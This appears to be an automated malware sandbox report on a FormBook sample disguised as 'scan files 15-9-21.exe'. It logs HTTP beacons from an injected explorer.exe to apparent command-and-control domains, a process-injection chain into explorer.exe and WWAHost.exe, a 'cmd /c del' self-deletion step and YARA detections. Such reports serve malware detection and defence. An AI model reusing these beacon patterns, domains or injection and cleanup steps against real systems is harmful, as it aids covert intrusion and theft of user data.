                                    0192.168.2.74977684.34.147.6080C:\Windows\explorer.exe
                                    TimestampkBytes transferredDirectionData
                                    Sep 15, 2021 09:32:25.355875015 CEST5201OUTGET /mej0/?ZTSpa=l0iLI2tDMbyWX17YzQI3VU6Ovc+Srds2u4QKsmMGezHC91xioYtP6wjZJcIMhpUbXqNeFFgVfw==&vP=JtCxKN HTTP/1.1
                                    Host: www.nordiqueluxury.com
                                    Connection: close
                                    Data Raw: 00 00 00 00 00 00 00
                                    Data Ascii:


                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                    1192.168.2.74977734.98.99.3080C:\Windows\explorer.exe
                                    TimestampkBytes transferredDirectionData
                                    Sep 15, 2021 09:32:30.950508118 CEST5202OUTGET /mej0/?ZTSpa=JBp6XH2M4Q0SiKTdqMGnH1VhHOjyZ1YS2BfWCv8a5VwMthBJctfaCfrdZAs0prUxB4i8ziLjxQ==&vP=JtCxKN HTTP/1.1
                                    Host: www.valorplanodesaudemaranhao.info
                                    Connection: close
                                    Data Raw: 00 00 00 00 00 00 00
                                    Data Ascii:
                                    Sep 15, 2021 09:32:31.066397905 CEST5202INHTTP/1.1 403 Forbidden
                                    Server: openresty
                                    Date: Wed, 15 Sep 2021 07:32:31 GMT
                                    Content-Type: text/html
                                    Content-Length: 275
                                    ETag: "6139ed55-113"
                                    Via: 1.1 google
                                    Connection: close
                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                    Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>


                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                    2192.168.2.74977935.237.65.6380C:\Windows\explorer.exe
                                    TimestampkBytes transferredDirectionData
                                    Sep 15, 2021 09:32:36.281712055 CEST5212OUTGET /mej0/?ZTSpa=KB5aME/wLlFyZRHVaeByRa16oaYSLG5vTwTmPkRiuCF7mWnEGcyzal0mWpntA1EdT4HAAexMQQ==&vP=JtCxKN HTTP/1.1
                                    Host: www.municipiodeanton.net
                                    Connection: close
                                    Data Raw: 00 00 00 00 00 00 00
                                    Data Ascii:
                                    Sep 15, 2021 09:32:36.435966015 CEST5213INHTTP/1.1 301 Moved Permanently
                                    Content-Type: text/html; charset=UTF-8
                                    Location: https://www.municipiodeanton.net//mej0/?ZTSpa=KB5aME/wLlFyZRHVaeByRa16oaYSLG5vTwTmPkRiuCF7mWnEGcyzal0mWpntA1EdT4HAAexMQQ==&vP=JtCxKN
                                    Server: Microsoft-IIS/10.0
                                    X-Powered-By: ASP.NET
                                    Date: Wed, 15 Sep 2021 07:32:36 GMT
                                    Connection: close
                                    Content-Length: 259
                                    Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6d 75 6e 69 63 69 70 69 6f 64 65 61 6e 74 6f 6e 2e 6e 65 74 2f 2f 6d 65 6a 30 2f 3f 5a 54 53 70 61 3d 4b 42 35 61 4d 45 2f 77 4c 6c 46 79 5a 52 48 56 61 65 42 79 52 61 31 36 6f 61 59 53 4c 47 35 76 54 77 54 6d 50 6b 52 69 75 43 46 37 6d 57 6e 45 47 63 79 7a 61 6c 30 6d 57 70 6e 74 41 31 45 64 54 34 48 41 41 65 78 4d 51 51 3d 3d 26 61 6d 70 3b 76 50 3d 4a 74 43 78 4b 4e 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e
                                    Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://www.municipiodeanton.net//mej0/?ZTSpa=KB5aME/wLlFyZRHVaeByRa16oaYSLG5vTwTmPkRiuCF7mWnEGcyzal0mWpntA1EdT4HAAexMQQ==&amp;vP=JtCxKN">here</a></body>


                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                    3192.168.2.74978334.98.99.3080C:\Windows\explorer.exe
                                    TimestampkBytes transferredDirectionData
                                    Sep 15, 2021 09:32:46.574167967 CEST5226OUTGET /mej0/?ZTSpa=a/1Q0lHImOSlB3OMiE52M5irpU60+rDCM9jGEsCAFmqZfqxrPXb+yY2uJ0P5II+wgFq1rM2W6g==&vP=JtCxKN HTTP/1.1
                                    Host: www.quickskiplondon.com
                                    Connection: close
                                    Data Raw: 00 00 00 00 00 00 00
                                    Data Ascii:
                                    Sep 15, 2021 09:32:46.690689087 CEST5226INHTTP/1.1 403 Forbidden
                                    Server: openresty
                                    Date: Wed, 15 Sep 2021 07:32:46 GMT
                                    Content-Type: text/html
                                    Content-Length: 275
                                    ETag: "6139ed55-113"
                                    Via: 1.1 google
                                    Connection: close
                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a
                                    Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>


                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                    4192.168.2.749784172.67.196.8480C:\Windows\explorer.exe
                                    TimestampkBytes transferredDirectionData
                                    Sep 15, 2021 09:32:56.849651098 CEST5227OUTGET /mej0/?ZTSpa=RzUuUNIP5w6/jz6u/3nPHL71H0tFSqxvyYqd1E+XwjP7nDbVm/SW3vaLh5vwv8/S3nR/rxiqcA==&vP=JtCxKN HTTP/1.1
                                    Host: www.singularity.institute
                                    Connection: close
                                    Data Raw: 00 00 00 00 00 00 00
                                    Data Ascii:
                                    Sep 15, 2021 09:32:56.879559040 CEST5228INHTTP/1.1 302 Moved Temporarily
                                    Date: Wed, 15 Sep 2021 07:32:56 GMT
                                    Transfer-Encoding: chunked
                                    Connection: close
                                    Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                    Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                    Location: http://www.ipeco.Net
                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=w8%2FHxjcBpD8Y1io0Sqe7zWWFUrP4QrhN6avue%2BgpDzWcDnPanKzWA%2FH%2FzAMfH2zhpqDby4%2BE87vCH0bgKE1sB1un8ZbVIfPZc2SmU88qyI9e6qxG6MRtnT2IEAoca%2B%2B8rZIkrXPXDipj55op"}],"group":"cf-nel","max_age":604800}
                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                    Server: cloudflare
                                    CF-RAY: 68f029ff5c8f2bdd-FRA
                                    alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
                                    Data Raw: 30 0d 0a 0d 0a
                                    Data Ascii: 0


                                    Code Manipulations

                                    Statistics

                                    CPU Usage

                                    Click to jump to process

                                    Memory Usage

                                    Click to jump to process

                                    High Level Behavior Distribution

                                    Click to dive into process behavior distribution

                                    Behavior

                                    Click to jump to process

                                    System Behavior

                                    General

                                    Start time:09:30:56
                                    Start date:15/09/2021
                                    Path:C:\Users\user\Desktop\scan files 15-9-21.exe
                                    Wow64 process (32bit):true
                                    Commandline:'C:\Users\user\Desktop\scan files 15-9-21.exe'
                                    Imagebase:0x580000
                                    File size:569344 bytes
                                    MD5 hash:00E32D8A2CBD54E967BFC8F512086ECF
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:.Net C# or VB.NET
                                    Yara matches:
                                    • Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.262067632.0000000002982000.00000004.00000001.sdmp, Author: Joe Security
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.262326263.0000000003979000.00000004.00000001.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.262326263.0000000003979000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.262326263.0000000003979000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                    Reputation:low

                                    General

                                    Start time:09:30:59
                                    Start date:15/09/2021
                                    Path:C:\Users\user\Desktop\scan files 15-9-21.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Users\user\Desktop\scan files 15-9-21.exe
                                    Imagebase:0xfd0000
                                    File size:569344 bytes
                                    MD5 hash:00E32D8A2CBD54E967BFC8F512086ECF
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Yara matches:
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.342717924.00000000015D0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.340222255.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.342785187.0000000001600000.00000040.00020000.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.342785187.0000000001600000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.342785187.0000000001600000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                    Reputation:low

                                    General

                                    Start time:09:31:01
                                    Start date:15/09/2021
                                    Path:C:\Windows\explorer.exe
                                    Wow64 process (32bit):false
                                    Commandline:C:\Windows\Explorer.EXE
                                    Imagebase:0x7ff662bf0000
                                    File size:3933184 bytes
                                    MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Yara matches:
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000000.296739231.000000000E0BC000.00000040.00020000.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000000.296739231.000000000E0BC000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000000.296739231.000000000E0BC000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000003.00000000.316398859.000000000E0BC000.00000040.00020000.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000000.316398859.000000000E0BC000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 00000003.00000000.316398859.000000000E0BC000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                    Reputation:high

                                    General

                                    Start time:09:31:31
                                    Start date:15/09/2021
                                    Path:C:\Windows\SysWOW64\WWAHost.exe
                                    Wow64 process (32bit):true
                                    Commandline:C:\Windows\SysWOW64\WWAHost.exe
                                    Imagebase:0xb40000
                                    File size:829856 bytes
                                    MD5 hash:370C260333EB3149EF4E49C8F64652A0
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Yara matches:
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.520331838.0000000000870000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.520884940.0000000000A80000.00000040.00020000.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.520884940.0000000000A80000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.520884940.0000000000A80000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
                                    • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000D.00000002.521187644.0000000000B00000.00000004.00000001.sdmp, Author: Joe Security
                                    • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000D.00000002.521187644.0000000000B00000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                    • Rule: Formbook, Description: detect Formbook in memory, Source: 0000000D.00000002.521187644.0000000000B00000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
                                    Reputation:moderate

                                    General

                                    Start time:09:31:38
                                    Start date:15/09/2021
                                    Path:C:\Windows\SysWOW64\cmd.exe
                                    Wow64 process (32bit):true
                                    Commandline:/c del 'C:\Users\user\Desktop\scan files 15-9-21.exe'
                                    Imagebase:0x870000
                                    File size:232960 bytes
                                    MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high

                                    General

                                    Start time:09:31:39
                                    Start date:15/09/2021
                                    Path:C:\Windows\System32\conhost.exe
                                    Wow64 process (32bit):false
                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                    Imagebase:0x7ff774ee0000
                                    File size:625664 bytes
                                    MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                    Has elevated privileges:true
                                    Has administrator privileges:true
                                    Programmed in:C, C++ or other language
                                    Reputation:high

                                    Disassembly

                                    Code Analysis

                                    Reset < >

                                      Executed Functions

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.263036795.0000000004E80000.00000040.00000001.sdmp, Offset: 04E80000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 349f1f41b9296e6e356226d22c8838cb9aa29bb0d216bd2a9d81b9fdb85ab904
                                      • Instruction ID: 867d6b14cfb9dde0a90e73d818dd63f46b944010f3ec3654bcd51f7a7ac378b3
                                      • Opcode Fuzzy Hash: 349f1f41b9296e6e356226d22c8838cb9aa29bb0d216bd2a9d81b9fdb85ab904
                                      • Instruction Fuzzy Hash: AB528134B001158FDF14EF79C488AAD77B2BF8A714F259569E819AB364DB31EC41CBA0
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.263036795.0000000004E80000.00000040.00000001.sdmp, Offset: 04E80000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: a612e406d661e515ce5914f71de2ee1b0ca684b5dd47e63725be29973a7cac67
                                      • Instruction ID: c4d43fe2498354452586a70be4ff377406df23cbf9845ddf9bf5ff4f7b71a4b1
                                      • Opcode Fuzzy Hash: a612e406d661e515ce5914f71de2ee1b0ca684b5dd47e63725be29973a7cac67
                                      • Instruction Fuzzy Hash: A852D674A001188FDB64DF64C898ADEB7B6EF89304F1085E9D50EA7365DB34AE81CF91
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.263036795.0000000004E80000.00000040.00000001.sdmp, Offset: 04E80000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 904b2610bd23e5cd9b8bb82dba84072e1f0d0246955abfff57cade81830d8778
                                      • Instruction ID: 29498a3a080cae1b6f1094d6fbde5ca47795d33d7ab247ed839d4231935ddcff
                                      • Opcode Fuzzy Hash: 904b2610bd23e5cd9b8bb82dba84072e1f0d0246955abfff57cade81830d8778
                                      • Instruction Fuzzy Hash: E422F871E006198FDF14EF69C894AADB7B1FF88304F1495A9D40EEB252EB70A985CF50
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.263036795.0000000004E80000.00000040.00000001.sdmp, Offset: 04E80000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 58987c3d7fc9fe1770d32bdb82f4ccb3bde34b92b87f54420c4e455cd5f50605
                                      • Instruction ID: 00a64deab75a273aa472292962cd6efc6d85966f253892c6a871d6f60002a4c9
                                      • Opcode Fuzzy Hash: 58987c3d7fc9fe1770d32bdb82f4ccb3bde34b92b87f54420c4e455cd5f50605
                                      • Instruction Fuzzy Hash: 8C02E534E11209CFDB15EFE4D894A9DB7B2FF89304F1195AAD409AB365EB30A985CF40
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.263036795.0000000004E80000.00000040.00000001.sdmp, Offset: 04E80000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 80c5c1a998d9b9cfb442e593c28163e161edf85527d737ad1a28f141b760d64d
                                      • Instruction ID: 8e5dcdb1eb58217995c47e0496f1d40656bf3ae5367d48ce6180d71ccc0ca049
                                      • Opcode Fuzzy Hash: 80c5c1a998d9b9cfb442e593c28163e161edf85527d737ad1a28f141b760d64d
                                      • Instruction Fuzzy Hash: 2AF1E534E11209CFDB15EFE4D894A9DB7B2FF89304F1195A9D409AB365EB30A985CF40
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 390c13f508bb81b513970ee02f6ee1cc4efacb0ac25fb621bc49e4dd9aa76e30
                                      • Instruction ID: e782142301c1da78edb99109dcb48a1870f982d84bd4768e30c03c9c05f8970c
                                      • Opcode Fuzzy Hash: 390c13f508bb81b513970ee02f6ee1cc4efacb0ac25fb621bc49e4dd9aa76e30
                                      • Instruction Fuzzy Hash: E2D1ED387012208FDB15EB79C450BAEB7FAAF88304F94846DD54ADB691EF34E901CB61
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: ce9dd3487485cb4027f8d317b5d651cfd77df0f386be2dbb9577527e57312a94
                                      • Instruction ID: 3a21bf52bfe6eab138b36de072450841ed7c9af6295b38a6a86f64beb9cca97c
                                      • Opcode Fuzzy Hash: ce9dd3487485cb4027f8d317b5d651cfd77df0f386be2dbb9577527e57312a94
                                      • Instruction Fuzzy Hash: F6713A79E44629CBDB24CF66CC40BDEFBB6BB89300F14D5AAD509A7254EB305A858F10
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02851B36
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: AllocVirtual
                                      • String ID: wk>
                                      • API String ID: 4275171209-3917830221
                                      • Opcode ID: 612a61de036b04b44118f16a9a34d66b47ec5f8e05d7b08c81c5a74892341ce2
                                      • Instruction ID: 4e641e339198140456b602e30e892fbc6e6bddbcb867639a1b7fae369adc9184
                                      • Opcode Fuzzy Hash: 612a61de036b04b44118f16a9a34d66b47ec5f8e05d7b08c81c5a74892341ce2
                                      • Instruction Fuzzy Hash: B2319A798003599FCB01CFA9C885BDEBFF6EF49324F048829E428AB211C7799545CBA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 02852046
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: CreateProcess
                                      • String ID:
                                      • API String ID: 963392458-0
                                      • Opcode ID: cc6e8df5449c6ddbdab3117e7a6b39eaeb85de66e2395b46798e65e993fcadd3
                                      • Instruction ID: 4b417a2a5a5a99bdf5d5ebe7d8144b43341054653bec61b71aaaab9b8cde83a4
                                      • Opcode Fuzzy Hash: cc6e8df5449c6ddbdab3117e7a6b39eaeb85de66e2395b46798e65e993fcadd3
                                      • Instruction Fuzzy Hash: 28A14B79E002299FDB10DFA5C885BEEBBB2BF44314F048569EC09E7240DB749985CF91
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 02852046
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: CreateProcess
                                      • String ID:
                                      • API String ID: 963392458-0
                                      • Opcode ID: a44a848e927ac56472a05204f67897483609d92c334f62b0fbdf1139fcea3f46
                                      • Instruction ID: 08117011d2619df14cb9e4eb75fa65d5a212706e9e5591c297595e9afcf775ff
                                      • Opcode Fuzzy Hash: a44a848e927ac56472a05204f67897483609d92c334f62b0fbdf1139fcea3f46
                                      • Instruction Fuzzy Hash: 03913A79E002299FDB14DFA5C885BEEBBB2BF44314F048569EC09E7240DB749985CF91
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • CallWindowProcW.USER32(?,?,?,?,?), ref: 04E823D1
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.263036795.0000000004E80000.00000040.00000001.sdmp, Offset: 04E80000, based on PE: false
                                      Similarity
                                      • API ID: CallProcWindow
                                      • String ID:
                                      • API String ID: 2714655100-0
                                      • Opcode ID: fb464de46f95e1d4b9f2285cb528d84f013fd3b06ab16e658096ecc42235f251
                                      • Instruction ID: 1372d8cb03ef0a9d4e70a9abff316a5ca1431fc35d1ddf1109265b7c914d8689
                                      • Opcode Fuzzy Hash: fb464de46f95e1d4b9f2285cb528d84f013fd3b06ab16e658096ecc42235f251
                                      • Instruction Fuzzy Hash: BA4149B4A003458FDB10DF89C488AABBBF5FF88314F25849DD519AB321D374A841CFA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • SetThreadContext.KERNELBASE(?,00000000), ref: 028513FE
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: ContextThread
                                      • String ID:
                                      • API String ID: 1591575202-0
                                      • Opcode ID: fafb966ef43407320574e092d61ad4147364d53f2a547914a22f721bdb9dd2d3
                                      • Instruction ID: e79d51ec24a65897125947965e577acf3419876714d233159fc78bb4c0729501
                                      • Opcode Fuzzy Hash: fafb966ef43407320574e092d61ad4147364d53f2a547914a22f721bdb9dd2d3
                                      • Instruction Fuzzy Hash: C1319C75900349CFCB11CFA9C4857EEBBF4EF4A324F18846AD858E7241D7789994CB91
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 02851B36
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: AllocVirtual
                                      • String ID:
                                      • API String ID: 4275171209-0
                                      • Opcode ID: a2cf2a4a12b01117596d2a6ea74a3cda9846fa629c0c7654fd008f300d1edbe0
                                      • Instruction ID: 39ac986e4017ad9dc23a25ebbf44cb5e7ff5771b6cedee8a972a2f7526399351
                                      • Opcode Fuzzy Hash: a2cf2a4a12b01117596d2a6ea74a3cda9846fa629c0c7654fd008f300d1edbe0
                                      • Instruction Fuzzy Hash: 852189398003898FCB11CFA9C845BDEBFF5AF49320F048829D869A7201C7799595CB91
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02851C18
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: MemoryProcessWrite
                                      • String ID:
                                      • API String ID: 3559483778-0
                                      • Opcode ID: a6be400f0b4425cfdc63fed1f3d610f6211e00fdbf230e7db454c642b3afdf82
                                      • Instruction ID: 8e78c0f156b6e3b5b3515c7186a39701cb8481384ff30355475b10fd9cadaddb
                                      • Opcode Fuzzy Hash: a6be400f0b4425cfdc63fed1f3d610f6211e00fdbf230e7db454c642b3afdf82
                                      • Instruction Fuzzy Hash: A32157759003099FCF00CFA9C885BDEBBF5FB48324F00882AE918A3240D7789944DBA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
                                      • WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02851C18
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.261884955.0000000002850000.00000040.00000001.sdmp, Offset: 02850000, based on PE: false
                                      Similarity
                                      • API ID: MemoryProcessWrite
                                      • String ID:
                                      • API String ID: 3559483778-0
                                      • Opcode ID: eb1ba35fa475b7dadeddc71814e538d946d7a00d2a593114a75173144c4d1b06
                                      • Instruction ID: 4a77704ef130695fe1586e5971783f59818701b97bb1fbe16e868c680e98cc47
                                      • Opcode Fuzzy Hash: eb1ba35fa475b7dadeddc71814e538d946d7a00d2a593114a75173144c4d1b06
                                      • Instruction Fuzzy Hash: EA2148759003599FCF00CFA9C884BDEBBF5FF48314F108829E918A7240D7789944DBA1
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      APIs
